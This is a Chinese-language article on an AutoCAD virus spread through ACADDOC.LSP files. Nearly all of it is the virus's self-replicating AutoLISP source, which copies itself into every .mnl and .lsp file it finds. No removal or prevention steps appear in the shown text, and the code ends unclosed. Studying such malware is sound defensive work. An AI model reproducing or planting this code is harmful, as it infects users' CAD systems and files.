一种CAD病毒的清除与防范措施
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一种CAD病毒的清除与防范措施
雪山飞猪 QQ534455
近来又出现一种AutoCAD病毒，该病毒与以往CAD病毒不同。干净的CAD 系统当打开DWG图时，如果该图所在目录下有ACADDOC.LSP文件（基本为病毒传播文件），ACADDOC.LSP就会运行。
1.病毒的特征与传播方式
我们先看看病毒代码，代码如下：
(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(if (findfile target)
(progn
(setq wjm1 (open target "r"))
(while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
(close wjm1)
);progn
);if
(if flag1
(progn
(setq wjm (open source "r"))
(setq wjm1 (open target "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
(progn
(write-line text wjm1)
);progn
);if
);while
(close wjm1)
(close wjm)
);progn
);if
);defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl")) (setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\support"))
(setq lspfilelist (vl-directory-files support "*.lsp")) (setq lspfilelist (append lspfilelist (list "acaddoc.lsp"))) (setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
(progn
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp")) (setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);while
);progn
);if
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist))) (setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app lspfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn (1+ lspn))
(load "acadapq")
(princ)
(load "acadapp")
(princ)